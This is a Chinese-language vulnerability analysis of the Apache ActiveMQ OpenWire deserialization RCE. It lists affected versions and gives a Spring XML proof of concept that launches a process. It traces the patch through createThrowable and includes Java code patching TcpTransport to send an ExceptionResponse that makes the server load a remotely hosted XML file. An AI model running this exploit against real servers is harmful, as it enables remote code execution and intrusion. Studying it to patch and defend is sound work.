1.漏洞描述
ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。
请关注厂商的修复版本,并及时更新到最新版本。
2.影响范围
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
3.poc
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
4.漏洞复现
python启动web服务,将poc放入pom.xml文件中
修改poc并执行
5.漏洞分析
我们先看补丁
https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java
发现新增类OpenWireUtil加入了validateIsThrowable方法
然后经过⼀些简单的搜索可以发现
ExceptionResponseMarshaller
这个类, 它是
BaseDataStreamMarshaller
的⼦类
其
tightUnmarshal/looseUnmarshal
⽅法会调⽤
tightMarshalThrowable/looseMarshalThrowable
, 最终调⽤到
BaseDataStreamMarshaller
的
createThrowable
⽅法, 后者可以调⽤任意类的带有⼀个
String
参数的构造⽅法
ExceptionResponseMarshaller
顾名思义就是对
ExceptionResponse
进⾏序列化/反序列化的类
ExceptionResponse
的定义如下
回到上⾯的
BaseDataStreamMarshaller
有若⼲
Marshal/unmarshal
⽅法
这⾥以
tightUnmarsalThrowable
为例
⽅法内部会获取
clazz
和
message
, 然后调⽤
createThrowable
找到对应的
tightMarshalThrowable
o
就是
ExceptionResponse
⾥⾯的
exception
字段 (继承了
Throwable
), 然后分别将
o
的
className
和
message
写⼊序列化流
到这⾥思路其实已经差不多了, 我们只需要构造⼀个
ExceptionResponse
然后发给
ActiveMQ
服务器, 之后
ActiveMQ
会⾃⼰调⽤
unmarshal
, 最后触发
createThrowable
然后看看如何发送
ExceptionResponse
即可
简单
demo
下
package com.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class Demo {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession();
Destination destination = session.createQueue("tempQueue");
MessageProducer producer = session.createProducer(destination);
Message message = session.createObjectMessage("123");
producer.send(message);
connection.close();
}
}
然后随便打⼏个断点试试 (注意在⼀次通信的过程中
ActiveMQ
会
marshal/unmarshal
⼀些其它的数据, 调试的时候记得判断)
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()
先获取
dataType
, 然后根据它的值去
this.dataMarshallers
⾥⾯获取对应的序列化器
这个
dataType
其实对应的就是
Message
类内部的
DATA_STRUCTURE_TYPE
字段 在
demo
中我们发送的是⼀个
ObjectMessage
(
ActiveMQObjectMessage
) 对象, 它的
dataType
是
26
⽽
ExceptionResponse
的
dataType
是
31
, 对应上图中的
ExceptionResponseMarshaller
获取到了对应的序列化器之后, 会调⽤它的
tightUnmarshal/looseUnmarshal
⽅法进⼀步处理
Message
内容
ExceptionResponseMarshaller
也有
marshal
⽅法, 所以思路就改成了如何去发送⼀个经由这个
marshaller
处理的
ExceptionResponse
后⾯开始调试
client
发数据的过程
给
OpenWireFormat
的
marshal
系列⽅法打个断点
调⽤栈往前翻可以找到
TcpTransport
这个类
它的
oneway
⽅法会调⽤
wireFormat.marshal()
去序列化
command
command
就是前⾯准备发送的
ObjectMessage
, ⽽
wireFormat
就是和它对应的序列化器
那么我们只需要⼿动
patch
这个⽅法, 将
command
改成
ExceptionResponse
, 将
wireFormat
改成
ExceptionResponseMarshaller
即可
在当前源码⽬录下新建⼀个
org.apache.activemq.transport.tcp.TcpTransport
类, 然后重写对应的逻辑,这样在运⾏的时候, 因为
classpath
查找顺序的问题, 程序就会优先使⽤当前源码⽬录⾥的
TcpTransport
类
然后是
createThrowable
⽅法的利⽤, 这块其实跟
PostgreSQL JDBC
的利⽤类似, 因为
ActiveMQ
⾃带
spring
相关依赖, 那么就可以利⽤
ClassPathXmlApplicationContext
加载
XML
实现
RCE
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new
ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}
因为在
marshal
的时候会调⽤
o.getClass().getName()
获取类名, ⽽
getClass
⽅法⽆法重写 (
final
), 所以我在这⾥同样
patch
了
org.springframework.context.support.ClassPathXmlApplicationContext
, 使其继承
Throwable
类
版权归原作者 玄道网安 所有, 如有侵权,请联系我们删除。